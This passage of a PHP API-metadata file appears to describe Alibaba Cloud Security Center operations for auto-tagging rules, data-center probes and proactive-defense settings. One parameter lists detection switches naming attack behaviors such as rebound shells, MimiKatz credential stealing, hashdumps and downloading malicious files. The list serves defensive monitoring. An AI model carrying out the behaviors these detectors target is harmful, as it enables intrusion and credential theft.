'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDXXXX\\",\\n \\"MetaDatas\\": [\\n {\\n \\"Description\\": \\"dingtalk_suspicious\\",\\n \\"DataSourceName\\": \\"sas_analysis_pre-sas-operation-log-sas-event-suspicious\\",\\n \\"DataSourceId\\": 1753,\\n \\"MetaDataFields\\": [\\n {\\n \\"ValueType\\": \\"string\\",\\n \\"Filed\\": \\"type\\",\\n \\"FiledName\\": \\"dingtalk_vul_type\\",\\n \\"Sample\\": \\"all:dingtalk_all;cms:dingtalk_vul_cms;oval:dingtalk_vul_cve;sys:dingtalk_vul_sys;emg:dingtalk_vul_emg\\",\\n \\"OperatorList\\": [\\n {\\n \\"Description\\": \\"dingtalk_vul\\",\\n \\"Name\\": \\"regex\\"\\n }\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeDataSource', ], 'CreateOrUpdateAutoTagRule' => [ 'summary' => 'Creates an asset auto-tagging rule or modifies an asset auto-tagging rule that is created on the Asset Management Rule tab.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91932', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListAutoTagRules](~~ListAutoTagRules~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '300566', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => true, 'example' => 'text-001', ], ], [ 'name' => 'RuleDesc', 'in' => 'query', 'schema' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'describe', ], ], [ 'name' => 'Expression', 'in' => 'query', 'schema' => [ 'description' => 'The expression of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"groups":"0","fieldValueType":"string","field":"internetIp","operator":"equals","value":"12.0.0.1"}]', ], ], [ 'name' => 'TagType', 'in' => 'query', 'schema' => [ 'description' => 'The operation type of the rule. Valid values:'."\n" ."\n" .'* **group**'."\n" .'* **tag**'."\n", 'type' => 'string', 'required' => true, 'example' => 'tag', ], ], [ 'name' => 'TagContext', 'in' => 'query', 'schema' => [ 'description' => 'The tag specified by the operation type of the rule.'."\n" ."\n" .'* If TagType is set to group, set this parameter to {"groupId":XXX}. XXX specifies the ID of the group. You can call the [DescribeGroupStruct](~~DescribeGroupStruct~~) operation to query the ID.'."\n" .'* If TagType is set to tag, set this parameter to {"tagId":XXX}. XXX specifies the ID of the tag. You can call the [DescribeGroupedTags](~~DescribeGroupedTags~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"tagId":7804789}', ], ], [ 'name' => 'CheckAll', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to check the rule on the backend. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '33DCC98C-824D-55D6-8DC5-47F3A71AD867', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"33DCC98C-824D-55D6-8DC5-47F3A71AD867\\"\\n}","type":"json"}]', 'title' => 'CreateOrUpdateAutoTagRule', ], 'ListAutoTagRules' => [ 'summary' => 'Queries asset auto-tagging rules that are created by using the feature of asset management rules. You can create rules on the System Configuration > Feature Settings > Multi-cloud Configuration Management > Asset Management Rule page in the Security Center console.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'text-001', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '196', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'AutoTagRuleList' => [ 'description' => 'The asset auto-tagging rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the asset auto-tagging rule.'."\n", 'type' => 'object', 'properties' => [ 'Expression' => [ 'description' => 'The expression of the rule.'."\n", 'type' => 'string', 'example' => '[{\\"groups\\":\\"0\\",\\"fieldValueType\\":\\"string\\",\\"field\\":\\"internetIp\\",\\"operator\\":\\"equals\\",\\"value\\":\\"12.0.0.1\\"}]', ], 'TagContext' => [ 'description' => 'The tag specified by the operation type of the rule.'."\n", 'type' => 'string', 'example' => '{\\"tagId\\":4577447}', ], 'AliUid' => [ 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '558463566374****', ], 'RuleDesc' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'describe', ], 'TagType' => [ 'description' => 'The operation type of the rule. Valid values:'."\n" ."\n" .'* **group**'."\n" .'* **tag**'."\n", 'type' => 'string', 'example' => 'group', ], 'ModifiedTimestamp' => [ 'description' => 'The timestamp when the rule was last updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1614674401000', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '900029', ], 'CreateTimestamp' => [ 'description' => 'The timestamp when the rule was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1614674401000', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'auto_test_rule', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 196,\\n \\"Count\\": 2\\n },\\n \\"AutoTagRuleList\\": [\\n {\\n \\"Expression\\": \\"[{\\\\\\\\\\\\\\"groups\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"0\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldValueType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"string\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"internetIp\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"operator\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"12.0.0.1\\\\\\\\\\\\\\"}]\\",\\n \\"TagContext\\": \\"{\\\\\\\\\\\\\\"tagId\\\\\\\\\\\\\\":4577447}\\",\\n \\"AliUid\\": 0,\\n \\"RuleDesc\\": \\"describe\\",\\n \\"TagType\\": \\"group\\",\\n \\"ModifiedTimestamp\\": 1614674401000,\\n \\"Id\\": 900029,\\n \\"CreateTimestamp\\": 1614674401000,\\n \\"RuleName\\": \\"auto_test_rule\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAutoTagRules', ], 'DeleteAutoTagRules' => [ 'summary' => 'Deletes asset auto-tagging rules that are created by using the feature of asset management rules. You can create rules on the System Configuration > Feature Settings > Multi-cloud Configuration Management > Asset Management Rule page in the Security Center console.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91946', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RuleIdList', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset auto-tagging rule. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [ListAutoTagRules](~~ListAutoTagRules~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => '2331,56,5644', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\"\\n}","type":"json"}]', 'title' => 'DeleteAutoTagRules', ], 'IgnoreIdcProbeScanResult' => [ 'summary' => 'Adds the result scanned by an IDC probe to the whitelist or ignores the scan result.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ScanResultIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the scan result. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeIdcProbeScanResultList](~~DescribeIdcProbeScanResultList~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => '332098932,332098964,332098963', ], ], [ 'name' => 'IgnoreAction', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform. Valid values:'."\n" ."\n" .'* **1**: adds the scan result to the whitelist.'."\n" .'* **2**: ignores the scan result.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E30282D8-AB2D-5EB1-998B-2DDFA948D49D', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E30282D8-AB2D-5EB1-998B-2DDFA948D49D\\"\\n}","type":"json"}]', 'title' => 'IgnoreIdcProbeScanResult', ], 'AddIdcProbe' => [ 'summary' => 'Creates an IDC probe to add assets in a data center to Security Center and manage the assets by using the Security Center console.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91899', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'IdcName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the data center.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'IpSegments', 'in' => 'query', 'schema' => [ 'description' => 'The settings of the CIDR block.'."\n", 'type' => 'string', 'required' => true, 'example' => '192.168.XX.XX/24', ], ], [ 'name' => 'WinPort', 'in' => 'query', 'schema' => [ 'description' => 'The Windows port.'."\n", 'type' => 'string', 'required' => true, 'example' => '40', ], ], [ 'name' => 'LinuxPort', 'in' => 'query', 'schema' => [ 'description' => 'The Linux port.'."\n", 'type' => 'string', 'required' => true, 'example' => '40', ], ], [ 'name' => 'IdcRegion', 'in' => 'query', 'schema' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Hangzhou', ], ], [ 'name' => 'PeriodUnit', 'in' => 'query', 'schema' => [ 'description' => 'The unit of the scan interval. Valid values:'."\n" ."\n" .'* **day**'."\n" .'* **hour**'."\n", 'type' => 'string', 'required' => true, 'example' => 'day', ], ], [ 'name' => 'IntervalPeriod', 'in' => 'query', 'schema' => [ 'description' => 'The scan interval.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => true, 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'string', 'example' => '1', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D706F2DD-FF07-576B-9DD1-0B484A9B3065', ], 'AddIdcProbeFailedList' => [ 'description' => 'The records of failure.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about a single record of failure.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server. Multiple UUIDs are separated by commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID.'."\n", 'type' => 'string', 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '95.214.XXX.XXX', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'gl-sms-01', ], 'IdcRegion' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'Hangzhou', ], 'ErrorMsg' => [ 'description' => 'The error message that is returned.'."\n", 'type' => 'string', 'example' => 'The ResourceDirectoryId is invalid.', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'sas-yqcl2ck3****', ], 'IpSegments' => [ 'description' => 'The settings of the CIDR block.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX/24', ], 'IdcName' => [ 'description' => 'The name of the data center.'."\n", 'type' => 'string', 'example' => 'test', ], 'IntranetIp' => [ 'description' => 'The private IP address.'."\n", 'type' => 'string', 'example' => '172.29.XXX.XXX', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": \\"1\\",\\n \\"RequestId\\": \\"D706F2DD-FF07-576B-9DD1-0B484A9B3065\\",\\n \\"AddIdcProbeFailedList\\": [\\n {\\n \\"Uuid\\": \\"076a446d-df7d-424c-bdc5-bb5dc7f1****\\",\\n \\"InternetIp\\": \\"95.214.XXX.XXX\\",\\n \\"InstanceName\\": \\"gl-sms-01\\",\\n \\"IdcRegion\\": \\"Hangzhou\\",\\n \\"ErrorMsg\\": \\"The ResourceDirectoryId is invalid.\\",\\n \\"InstanceId\\": \\"sas-yqcl2ck3****\\",\\n \\"IpSegments\\": \\"192.168.XX.XX/24\\",\\n \\"IdcName\\": \\"test\\",\\n \\"IntranetIp\\": \\"172.29.XXX.XXX\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'AddIdcProbe', 'description' => 'Security Center allows you to create an IDC probe only on servers on which the Security Center agent is installed.'."\n", ], 'DeleteIdcProbe' => [ 'summary' => 'Deletes an IDC probe that is created in Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-1234567****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', 'title' => 'DeleteIdcProbe', ], 'ModifyIdcProbe' => [ 'summary' => 'Modifies the configurations of an IDC probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92368', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'IdcName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the data center.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'IpSegments', 'in' => 'query', 'schema' => [ 'description' => 'The settings of the CIDR block.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX/24', ], ], [ 'name' => 'WinPort', 'in' => 'query', 'schema' => [ 'description' => 'The Windows port.'."\n", 'type' => 'string', 'required' => false, 'example' => '40', ], ], [ 'name' => 'LinuxPort', 'in' => 'query', 'schema' => [ 'description' => 'The Linux port.'."\n", 'type' => 'string', 'required' => false, 'example' => '80', ], ], [ 'name' => 'IdcRegion', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the data center.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Hangzhou', ], ], [ 'name' => 'PeriodUnit', 'in' => 'query', 'schema' => [ 'description' => 'The unit of the scan interval. Valid values:'."\n" ."\n" .'* **day**'."\n" .'* **hour**'."\n", 'type' => 'string', 'required' => false, 'example' => 'day', ], ], [ 'name' => 'IntervalPeriod', 'in' => 'query', 'schema' => [ 'description' => 'The scan interval.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => true, 'example' => '5b6d4072118f487094199cedf90c****,f6310b7976144639867beea2f346****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The usage status. Valid values:'."\n" ."\n" .'* **0**: enabled.'."\n" .'* **1**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\"\\n}","type":"json"}]', 'title' => 'ModifyIdcProbe', ], 'DescribeCommonOverallConfigList' => [ 'summary' => 'Queries the configurations of features in proactive defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92031', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '119.136.XX.XX', ], ], [ 'name' => 'TypeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the configuration items.'."\n" ."\n" .'> You can query up to 50 types at a time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the configuration item. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization.'."\n" .'* **threat_detect**: Adaptive threat detection.'."\n" .'* **suspicious_aggregation**: Alert association.'."\n" .'* **alidetect**: File detection.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service performs high-risk operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service performs suspicious operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant advanced protection (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Injects malicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Injects suspicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Entrance service executes commands in an enhanced mode (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service performs suspicious operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Injects malicious files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Entrance service injects suspicious scripts or binary files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: Obfuscated commands (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Uses command line to download and run malicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_71131**: Entrance service executes sequence of suspicious behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell executes suspicious commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Uses command line to download and run malicious files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive registry key protection (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: High-risk account manipulation behavior (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Creates service auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Creates high-risk auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Creates scheduled task auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Creates registry auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Creates WMI auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk commands (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploits kernel vulnerabilities to elevate privileges (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: Suspected privilege escalation (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: Malicious drivers (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Uninstalls security software (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: Process debugging (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijacks dynamic link library (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypasses security monitoring (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Loads high-risk drivers (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Runs high-risk anti-rootkit (ARK) tools (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Uninstalls security software (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacks the pluggable authentication module (PAM) (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump attack (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54383**: MimiKatz credential stealing (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump attack (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound shell (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell executes commands.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound shell (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious program communication (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: Malicious script behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: Ransomware (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected extortion (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: Ransomware (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected extortion (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: Deletes system backup behavior (Windows).'."\n", 'type' => 'string', 'required' => false, 'example' => 'kdump_switch', ], 'required' => true, 'maxItems' => 50, ], ], ], 'responses' => [ 200 => 